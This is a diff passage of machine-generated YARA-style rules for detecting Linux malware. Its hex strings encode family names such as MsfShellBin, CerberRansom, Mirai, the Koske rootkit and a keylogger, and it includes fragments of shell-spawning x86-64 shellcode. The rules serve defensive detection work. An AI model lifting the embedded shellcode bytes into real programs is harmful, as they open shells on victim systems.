1)*1+(#a_01_728 & 1)*1+(#a_03_729 & 1)*1+(#a_03_730 & 1)*1+(#a_01_731 & 1)*1+(#a_03_732 & 1)*1+(#a_01_733 & 1)*1+(#a_01_734 & 1)*1+(#a_03_735 & 1)*1+(#a_01_736 & 1)*1+(#a_03_737 & 1)*1+(#a_03_738 & 1)*1+(#a_01_739 & 1)*1+(#a_01_740 & 1)*1+(#a_03_741 & 1)*1+(#a_03_742 & 1)*1+(#a_03_743 & 1)*1+(#a_03_744 & 1)*1+(#a_03_745 & 1)*1+(#a_01_746 & 1)*1+(#a_03_747 & 1)*1+(#a_03_748 & 1)*1+(#a_01_749 & 1)*1+(#a_03_750 & 1)*1+(#a_01_751 & 1)*1+(#a_01_752 & 1)*1+(#a_01_753 & 1)*1+(#a_03_754 & 1)*1+(#a_01_755 & 1)*1+(#a_03_756 & 1)*1+(#a_03_757 & 1)*1+(#a_01_758 & 1)*1+(#a_03_759 & 1)*1+(#a_01_760 & 1)*1+(#a_03_761 & 1)*1+(#a_03_762 & 1)*1+(#a_03_763 & 1)*1+(#a_03_764 & 1)*1+(#a_03_765 & 1)*1+(#a_03_766 & 1)*1+(#a_03_767 & 1)*1+(#a_03_768 & 1)*1+(#a_03_769 & 1)*1+(#a_03_770 & 1)*1+(#a_03_771 & 1)*1+(#a_03_772 & 1)*1+(#a_03_773 & 1)*1+(#a_03_774 & 1)*1+(#a_03_775 & 1)*1+(#a_01_776 & 1)*1+(#a_03_777 & 1)*1+(#a_01_778 & 1)*1+(#a_01_779 & 1)*1+(#a_03_780 & 1)*1+(#a_03_781 & 1)*1+(#a_03_782 & 1)*1+(#a_01_783 & 1)*1+(#a_01_784 & 1)*1+(#a_03_785 & 1)*1+(#a_01_786 & 1)*1+(#a_01_787 & 1)*1+(#a_01_788 & 1)*1+(#a_03_789 & 1)*1+(#a_03_790 & 1)*1+(#a_03_791 & 1)*1+(#a_03_792 & 1)*1+(#a_03_793 & 1)*1+(#a_01_794 & 1)*1+(#a_03_795 & 1)*1+(#a_03_796 & 1)*1+(#a_03_797 & 1)*1+(#a_03_798 & 1)*1+(#a_03_799 & 1)*1+(#a_01_800 & 1)*1+(#a_03_801 & 1)*1+(#a_03_802 & 1)*1+(#a_03_803 & 1)*1+(#a_03_804 & 1)*1+(#a_01_805 & 1)*1+(#a_03_806 & 1)*1+(#a_03_807 & 1)*1+(#a_01_808 & 1)*1+(#a_03_809 & 1)*1+(#a_03_810 & 1)*1+(#a_03_811 & 1)*1+(#a_03_812 & 1)*1+(#a_03_813 & 1)*1+(#a_01_814 & 1)*1+(#a_03_815 & 1)*1+(#a_03_816 & 1)*1+(#a_03_817 & 1)*1+(#a_03_818 & 1)*1+(#a_03_819 & 1)*1+(#a_03_820 & 1)*1+(#a_03_821 & 1)*1+(#a_03_822 & 1)*1+(#a_03_823 & 1)*1+(#a_03_824 & 1)*1+(#a_03_825 & 1)*1+(#a_03_826 & 1)*1+(#a_03_827 & 1)*1+(#a_03_828 & 1)*1+(#a_03_829 & 1)*1+(#a_03_830 & 1)*1+(#a_03_831 & 1)*1+(#a_03_832 & 1)*1+(#a_03_833 & 1)*1+(#a_01_834 & 1)*1+(#a_03_835 & 1)*1+(#a_03_836 & 1)*1+(#a_03_837 & 1)*1+(#a_03_838 & 1)*1+(#a_03_839 & 1)*1+(#a_03_840 & 1)*1+(#a_03_841 & 1)*1+(#a_03_842 & 1)*1+(#a_03_843 & 1)*1+(#a_03_844 & 1)*1+(#a_03_845 & 1)*1+(#a_03_846 & 1)*1+(#a_03_847 & 1)*1+(#a_01_848 & 1)*1+(#a_01_849 & 1)*1+(#a_03_850 & 1)*1+(#a_03_851 & 1)*1+(#a_03_852 & 1)*1+(#a_03_853 & 1)*1+(#a_03_854 & 1)*1+(#a_03_855 & 1)*1+(#a_03_856 & 1)*1+(#a_01_857 & 1)*1+(#a_03_858 & 1)*1+(#a_03_859 & 1)*1+(#a_03_860 & 1)*1+(#a_01_861 & 1)*1+(#a_03_862 & 1)*1+(#a_03_863 & 1)*1+(#a_01_864 & 1)*1+(#a_01_865 & 1)*1+(#a_01_866 & 1)*1+(#a_03_867 & 1)*1+(#a_03_868 & 1)*1+(#a_03_869 & 1)*1+(#a_03_870 & 1)*1+(#a_03_871 & 1)*1+(#a_03_872 & 1)*1+(#a_00_873 & 1)*0+(#a_ce_878 & 1)*10752+(#a_00_880 & 1)*14080+(#a_00_900 & 1)*30821+(#a_69_901 & 1)*0+(#a_3b_902 & 1)*17803+(#a_8b_903 & 1)*-117+(#a_11_905 & 1)*0+(#a_41_907 & 1)*19828+(#a_90_916 & 1)*19712+(#a_20_917 & 1)*28526+(#a_09_918 & 1)*2849+(#a_73_925 & 1)*0+(#a_00_926 & 1)*0+(#a_da_940 & 1)*0+(#a_65_941 & 1)*28005+(#a_45_944 & 1)*21504+(#a_61_946 & 1)*17236+(#a_00_991 & 1)*0+(#a_ce_996 & 1)*10752+(#a_00_998 & 1)*0+(#a_78_1011 & 1)*29742+(#a_b8_1012 & 1)*-27726) >=1 } -rule _InfrastructureShared_20614{ +rule _InfrastructureShared_21844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -271580,7 +287244,7 @@ rule _InfrastructureShared_20614{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26956) >=1 } -rule _InfrastructureShared_20615{ +rule _InfrastructureShared_21845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 04 00 21 " @@ -271593,7 +287257,7 @@ rule _InfrastructureShared_20615{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*29806+(#a_4c_2 & 1)*21076+(#a_28_3 & 1)*400) >=1 } -rule _InfrastructureShared_20616{ +rule _InfrastructureShared_21846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 02 00 21 " @@ -271604,7 +287268,7 @@ rule _InfrastructureShared_20616{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*-28672) >=1 } -rule _InfrastructureShared_20617{ +rule _InfrastructureShared_21847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 0c 00 21 " @@ -271621,7 +287285,7 @@ rule _InfrastructureShared_20617{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*384+(#a_52_3 & 1)*21320+(#a_00_5 & 1)*114+(#a_00_7 & 1)*105+(#a_72_9 & 1)*12034+(#a_90_10 & 1)*30063+(#a_00_11 & 1)*128) >=1 } -rule _InfrastructureShared_20618{ +rule _InfrastructureShared_21848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 11 00 21 " @@ -271642,7 +287306,7 @@ rule _InfrastructureShared_20618{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*6912+(#a_00_2 & 1)*114+(#a_00_4 & 1)*105+(#a_72_6 & 1)*12034+(#a_90_7 & 1)*30063+(#a_00_8 & 1)*128+(#a_63_10 & 1)*21604+(#a_4c_11 & 1)*30028+(#a_63_14 & 1)*29268+(#a_00_15 & 1)*1024+(#a_09_16 & 1)*112) >=1 } -rule _InfrastructureShared_20619{ +rule _InfrastructureShared_21849{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -271653,7 +287317,7 @@ rule _InfrastructureShared_20619{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*12032) >=3 } -rule _InfrastructureShared_20620{ +rule _InfrastructureShared_21850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -271665,7 +287329,7 @@ rule _InfrastructureShared_20620{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*1+(#a_b4_2 & 1)*0) >=3 } -rule _InfrastructureShared_20621{ +rule _InfrastructureShared_21851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " @@ -271676,7 +287340,7 @@ rule _InfrastructureShared_20621{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*0) >=2 } -rule _InfrastructureShared_20622{ +rule _InfrastructureShared_21852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 03 00 21 " @@ -271688,7 +287352,7 @@ rule _InfrastructureShared_20622{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*28719+(#a_74_2 & 1)*18264) >=3 } -rule _InfrastructureShared_20623{ +rule _InfrastructureShared_21853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " @@ -271701,7 +287365,7 @@ rule _InfrastructureShared_20623{ ((#a_4c_0 & 1)*21539+(#a_47_1 & 1)*384+(#a_66_2 & 1)*-32761+(#a_64_3 & 1)*28515) >=4 } -rule _InfrastructureShared_20624{ +rule _InfrastructureShared_21854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 08 00 21 " @@ -271718,7 +287382,7 @@ rule _InfrastructureShared_20624{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*29806+(#a_67_2 & 1)*27769+(#a_00_3 & 1)*1+(#a_a4_4 & 1)*0+(#a_6f_5 & 1)*29440+(#a_01_6 & 1)*29806+(#a_04_7 & 1)*1025) >=2 } -rule _InfrastructureShared_20625{ +rule _InfrastructureShared_21855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,09 00 09 00 09 00 21 " @@ -271734,7 +287398,7 @@ rule _InfrastructureShared_20625{ ((#a_4c_0 & 1)*21539+(#a_46_1 & 1)*19456+(#a_00_4 & 1)*1+(#a_54_5 & 1)*8448+(#a_56_6 & 1)*29548+(#a_6f_7 & 1)*29440+(#a_70_8 & 1)*-32762) >=9 } -rule _InfrastructureShared_20626{ +rule _InfrastructureShared_21856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 05 00 21 " @@ -271747,7 +287411,7 @@ rule _InfrastructureShared_20626{ ((#a_4c_0 & 1)*21539+(#a_69_1 & 1)*26478+(#a_6f_2 & 1)*29440+(#a_01_3 & 1)*1792) >=1 } -rule _InfrastructureShared_20627{ +rule _InfrastructureShared_21857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,07 00 07 00 09 00 21 " @@ -271763,7 +287427,7 @@ rule _InfrastructureShared_20627{ ((#a_4c_0 & 1)*21539+(#a_62_2 & 1)*384+(#a_75_3 & 1)*6912+(#a_00_4 & 1)*-32745+(#a_16_5 & 1)*0+(#a_c3_7 & 1)*-14848+(#a_74_8 & 1)*26368) >=7 } -rule _InfrastructureShared_20628{ +rule _InfrastructureShared_21858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 05 00 21 " @@ -271773,7 +287437,7 @@ rule _InfrastructureShared_20628{ ((#a_54_0 & 1)*18467) >=6 } -rule _InfrastructureShared_20629{ +rule _InfrastructureShared_21859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 06 00 21 " @@ -271788,7 +287452,7 @@ rule _InfrastructureShared_20629{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*-32505+(#a_52_2 & 1)*18512+(#a_2e_3 & 1)*28021+(#a_74_4 & 1)*11552+(#a_25_5 & 1)*28271) >=8 } -rule _InfrastructureShared_20630{ +rule _InfrastructureShared_21860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 21 " @@ -271802,7 +287466,7 @@ rule _InfrastructureShared_20630{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*25972+(#a_74_2 & 1)*27502+(#a_65_3 & 1)*25970+(#a_00_4 & 1)*256) >=6 } -rule _InfrastructureShared_20631{ +rule _InfrastructureShared_21861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 04 00 21 " @@ -271815,7 +287479,60 @@ rule _InfrastructureShared_20631{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8307+(#a_6e_2 & 1)*102+(#a_40_3 & 1)*1536) >=2 } -rule _InfrastructureShared_20632{ +rule _InfrastructureShared_21862{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 73 66 53 68 65 6c 6c 42 69 6e 2e 49 00 01 00 0e 01 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 01 00 06 01 5e 6a 3b 58 0f 05 00 00 8c 63 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f } //16675 + $a_3a_1 = {69 6e 75 78 2f 4d 73 66 53 68 65 6c 6c 42 69 6e 2e 4b 00 01 00 36 03 6a 29 58 99 6a 01 5e 6a 02 5f 0f 05 97 b0 32 0f 05 96 b0 2b 0f 05 90 02 02 ff ce 6a 21 58 0f 05 75 f7 52 48 bf 2f 2f 62 69 6e 2f 73 68 57 54 5f b0 3b 0f 05 90 00 00 00 8c 77 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 73 } //24938 + condition: + ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*24938) >=2 + +} +rule _InfrastructureShared_21863{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 73 66 53 68 65 6c 6c 42 69 6e 2e 4b 00 01 00 36 03 6a 29 58 99 6a 01 5e 6a 02 5f 0f 05 97 b0 32 0f 05 96 b0 2b 0f 05 90 02 02 ff ce 6a 21 58 0f 05 75 f7 52 48 bf 2f 2f 62 69 6e 2f 73 68 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_21864{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 73 66 53 68 65 6c 6c 42 69 6e 2e 4a 00 01 00 3d 03 56 50 6a 29 58 99 6a 02 5f 6a 01 5e 0f 05 48 85 c0 78 90 02 0e 51 48 89 e6 54 5e 6a 31 58 6a 10 5a 0f 05 6a 32 58 6a 01 5e 0f 05 6a 2b } //16675 + $a_52_1 = {5e 6a 1c 48 8d 14 24 0f 05 90 00 01 00 09 01 5e 48 31 c0 48 ff c0 0f 05 00 00 8c 8a 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 42 00 05 00 35 03 48 83 ec 08 ff 90 01 03 } //-26280 + condition: + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*-26280) >=2 + +} +rule _InfrastructureShared_21865{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 42 00 05 00 35 03 48 83 ec 08 ff 90 01 03 48 8d 90 01 05 50 41 0f b7 90 01 06 50 49 89 d9 4c 8d 90 01 05 4c 89 f1 48 8d 90 01 05 48 8d 90 01 05 4c 89 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=6 + +} +rule _InfrastructureShared_21866{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_46_0 = {52 61 6e 73 6f 6d 3a 4c 69 6e 75 78 2f 43 65 72 62 65 72 52 61 6e 73 6f 6d 2e 43 00 05 00 3b 03 48 89 e5 48 89 ef e8 90 01 04 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 df e8 90 01 04 48 89 c2 48 b8 90 01 08 48 2b 90 01 03 48 39 } //16675 + $a_90_1 = {04 48 89 e7 48 89 de e8 90 00 05 00 3f 03 48 39 c7 74 05 ee e8 90 01 04 48 8b 90 01 03 48 8d 90 01 05 48 89 ef e8 90 01 04 48 89 c3 48 85 c0 74 21 48 89 c1 ba 07 00 00 00 be 01 00 00 00 48 8d 90 01 05 e8 90 01 04 48 89 df e8 90 00 00 00 96 5e 00 00 00 28 32 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 53 75 73 52 65 70 6c 61 63 65 2e 41 21 4d 54 42 4c 55 41 3a 50 6f 77 65 } //4034 + condition: + ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*4034) >=5 + +} +rule _InfrastructureShared_21867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 03 00 21 " @@ -271827,7 +287544,7 @@ rule _InfrastructureShared_20632{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*19521+(#a_20_2 & 1)*8224) >=2 } -rule _InfrastructureShared_20633{ +rule _InfrastructureShared_21868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0b 00 21 " @@ -271844,17 +287561,30 @@ rule _InfrastructureShared_20633{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26995+(#a_3d_2 & 1)*18768+(#a_4d_3 & 1)*16448+(#a_00_5 & 1)*16390+(#a_39_6 & 1)*13154+(#a_03_9 & 1)*0+(#a_00_10 & 1)*0) >=4 } -rule _InfrastructureShared_20634{ +rule _InfrastructureShared_21869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 01 00 21 " strings : - $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 69 6e 50 65 61 73 2e 4d 52 37 00 02 00 13 80 01 2f 50 45 41 53 53 2d 6e 67 2f 50 45 41 53 53 2d 6e 67 2f 00 00 8c 51 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f } //21283 + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4c 69 6e 50 65 61 73 2e 4d 52 37 00 02 00 13 80 01 2f 50 45 41 53 53 2d 6e 67 2f 50 45 41 53 53 2d 6e 67 2f 00 00 8c 4f 00 00 06 00 06 00 04 00 21 23 48 53 54 52 3a 52 55 53 54 00 05 } //21283 condition: ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_20635{ +rule _InfrastructureShared_21870{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 04 00 21 " + + strings : + $a_54_0 = {3a 52 55 53 54 00 05 00 0e 01 52 55 53 54 5f 4d 49 4e 5f 53 54 41 43 4b 05 00 0e 01 52 55 53 54 5f 42 41 43 4b 54 52 41 43 45 05 00 08 01 52 55 53 54 5f 4c 4f 47 01 00 07 01 2f 72 75 73 74 63 2f 00 00 8c 51 00 00 01 00 01 00 01 00 21 23 48 53 54 52 } //18467 + $a_6e_1 = {78 2f 43 70 70 41 50 49 44 69 72 65 63 74 6f 72 79 45 6e 75 6d 65 72 61 74 65 2e 41 00 01 00 1c 80 01 72 65 63 75 72 73 69 76 65 5f 64 69 72 65 63 74 6f 72 79 5f 69 74 65 72 61 74 6f 72 00 00 8c 5a 00 00 01 00 01 00 03 00 21 23 48 53 54 52 3a 4c 69 6e 75 78 2f 43 70 70 43 72 79 70 74 6f 72 53 74 72 69 6e 67 73 2e } //19514 + $a_00_2 = {0d } //65 + $a_6e_3 = {72 79 70 74 5f 62 6c 6f 63 6b 01 00 0b 80 01 65 6e 63 72 79 70 74 46 69 6c 65 01 00 0a 80 01 43 69 70 68 65 72 33 41 65 73 00 00 8c 60 00 00 09 00 09 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 6f 6f 62 6f 74 2e 43 00 05 00 20 00 77 35 71 36 68 65 33 64 62 72 73 67 6d 63 6c 6b } //384 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*19514+(#a_00_2 & 1)*65+(#a_6e_3 & 1)*384) >=6 + +} +rule _InfrastructureShared_21871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 01 00 21 " @@ -271864,7 +287594,7 @@ rule _InfrastructureShared_20635{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_20636{ +rule _InfrastructureShared_21872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,01 00 01 00 03 00 21 " @@ -271875,7 +287605,7 @@ rule _InfrastructureShared_20636{ ((#a_54_0 & 1)*18467+(#a_41_2 & 1)*8448) >=1 } -rule _InfrastructureShared_20637{ +rule _InfrastructureShared_21873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,09 00 09 00 03 00 21 " @@ -271887,46 +287617,104 @@ rule _InfrastructureShared_20637{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*31279+(#a_2f_2 & 1)*-32764) >=9 } -rule _InfrastructureShared_20638{ +rule _InfrastructureShared_21874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,09 00 09 00 06 00 21 " strings : $a_54_0 = {3a 4c 69 6e 75 78 2f 43 6f 73 6d 69 63 53 74 72 69 6e 67 2e 41 00 06 00 0d 80 01 2e 63 6f 73 6d 69 63 73 74 72 69 6e 67 01 00 04 80 01 2f 74 6d 70 01 00 05 80 01 2f 68 6f 6d 65 01 00 04 80 01 2f 76 61 72 01 00 04 80 01 2f 65 74 63 01 00 04 80 01 2f } //18467 - $a_00_1 = {00 8c 65 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 68 63 2e 47 65 6e 00 04 00 20 80 01 45 3a 20 6e 65 69 74 68 65 72 20 61 72 67 76 5b 30 5d 20 6e 6f 72 20 24 5f 20 77 6f 72 6b 73 2e 01 00 0b 80 01 25 73 25 73 25 73 3a 20 25 73 0a 01 00 06 80 01 3c 6e 75 6c 6c 3e 00 00 8c 7d 00 00 0b 00 0b 00 03 00 } //28783 - $a_4c_2 = {3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 3a 78 73 76 72 05 00 09 00 54 65 61 6d } //8993 - $a_61_3 = {01 00 26 00 55 53 45 52 2d 41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4b 65 79 6c 6f 67 67 65 72 2e 45 00 02 00 17 80 01 2f 70 72 6f 63 2f 62 75 73 2f 69 } //28755 - $a_74_4 = {64 65 76 69 63 65 73 01 00 0a 80 01 67 65 74 4b 65 79 54 65 78 74 01 00 09 80 01 42 61 63 6b 73 70 61 63 65 01 00 05 80 01 52 43 74 72 6c 01 00 06 80 01 4c 53 68 69 66 74 01 00 06 80 01 50 61 67 65 55 70 01 00 04 80 01 4c 41 6c 74 01 00 07 80 01 4e 75 6d 4c 6f 63 6b 00 00 8c 96 00 00 1c 00 1c 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e } //28782 - $a_42_5 = {73 68 65 4d 69 6e 65 72 2e 4e 41 31 00 14 00 0a 80 01 6b 34 73 70 72 65 61 64 65 72 02 00 0f 80 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 61 75 78 } //30837 + $a_00_1 = {00 8c 65 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 68 63 2e 47 65 6e 00 04 00 20 80 01 45 3a 20 6e 65 69 74 68 65 72 20 61 72 67 76 5b 30 5d 20 6e 6f 72 20 24 5f 20 77 6f 72 6b 73 2e 01 00 0b 80 01 25 73 25 73 25 73 3a 20 25 73 0a 01 00 06 80 01 3c 6e 75 6c 6c 3e 00 00 8c 71 00 00 05 00 05 00 05 00 } //28783 + $a_4c_2 = {3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 00 01 00 0b 01 68 69 64 65 70 72 6f 63 2e 73 6f 01 00 05 01 6b 6f 73 6b 65 01 00 13 01 2f 64 65 76 2f 73 68 6d 2f 2e 68 69 64 64 65 6e 70 69 64 01 00 10 01 2f 70 72 6f 63 2f 73 65 } //8993 + $a_66_3 = {2f 25 64 01 00 05 01 64 6c 73 79 6d 00 00 8c 79 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4e 49 4d 50 4c 41 4e 54 00 01 00 0c 01 40 75 73 } //26220 + $a_6f_4 = {74 70 75 74 01 00 08 01 40 74 61 73 6b 5f 69 64 01 00 0b 01 73 70 61 77 6e 52 65 73 75 6c 74 01 00 08 01 4b 69 6c 6c 44 61 74 65 01 00 0b 01 50 61 79 6c 6f 61 64 55 55 49 44 01 00 06 01 4a 69 74 74 65 72 01 00 0d 01 43 61 6c 6c 42 61 63 6b 48 6f 73 74 73 00 00 8c 7d 00 00 0b 00 0b 00 } //29285 + $a_23_5 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 } //3 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28783+(#a_4c_2 & 1)*8993+(#a_61_3 & 1)*28755+(#a_74_4 & 1)*28782+(#a_42_5 & 1)*30837) >=9 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28783+(#a_4c_2 & 1)*8993+(#a_66_3 & 1)*26220+(#a_6f_4 & 1)*29285+(#a_23_5 & 1)*3) >=9 } -rule _InfrastructureShared_20639{ +rule _InfrastructureShared_21875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 68 63 2e 47 65 6e 00 04 00 20 80 01 45 3a 20 6e 65 69 74 68 65 72 20 61 72 67 76 5b 30 5d 20 6e 6f 72 20 24 5f 20 77 6f 72 6b 73 2e 01 00 0b 80 01 25 73 25 73 25 73 3a 20 25 73 0a } //16675 $a_80_1 = {3c 6e 75 6c 6c 3e } // 1 - $a_7d_2 = {00 0b 00 0b 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 69 72 61 69 2e 47 47 00 05 00 1e 00 53 4e 51 55 45 52 59 3a 20 31 32 37 2e 30 2e 30 2e 31 3a 41 41 41 41 41 41 3a 78 73 76 72 05 00 09 00 54 65 61 6d 53 70 65 61 6b 01 00 26 00 55 53 45 52 2d 41 47 45 4e 54 3a 20 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 2f 36 30 2e 30 2e 33 31 31 32 2e 39 30 00 00 8c 95 00 00 08 00 08 00 08 00 21 23 54 45 } //0 + $a_71_2 = {00 05 00 05 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 00 01 00 0b 01 68 69 64 65 70 72 6f 63 2e 73 6f 01 00 05 01 6b 6f 73 6b 65 01 00 13 01 2f 64 65 76 2f 73 68 6d 2f 2e 68 69 64 64 65 6e 70 69 64 01 00 10 01 2f 70 72 6f 63 2f 73 65 6c 66 2f 66 64 2f 25 64 01 00 05 01 64 6c 73 79 6d 00 00 8c 79 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4e 49 4d 50 4c 41 4e 54 00 } //0 condition: - ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_7d_2 & 1)*0) >=6 + ((#a_46_0 & 1)*16675+(#a_80_1 & 1)*1+(#a_71_2 & 1)*0) >=6 } -rule _InfrastructureShared_20640{ +rule _InfrastructureShared_21876{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4b 6f 73 6b 65 2e 41 00 01 00 0b 01 68 69 64 65 70 72 6f 63 2e 73 6f 01 00 05 01 6b 6f 73 6b 65 01 00 13 01 2f 64 65 76 2f 73 68 6d 2f 2e 68 69 64 64 65 6e 70 69 64 01 00 10 01 2f 70 } //21283 + $a_2f_1 = {65 6c 66 2f 66 64 2f 25 64 01 00 05 01 64 6c 73 79 6d 00 00 8c 79 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 4e 49 4d 50 4c 41 4e 54 00 01 00 0c 01 40 75 73 65 72 5f 6f 75 74 70 75 74 01 00 08 01 40 74 61 73 6b 5f 69 64 01 00 0b 01 73 70 61 77 6e 52 65 73 75 6c 74 01 00 08 01 4b 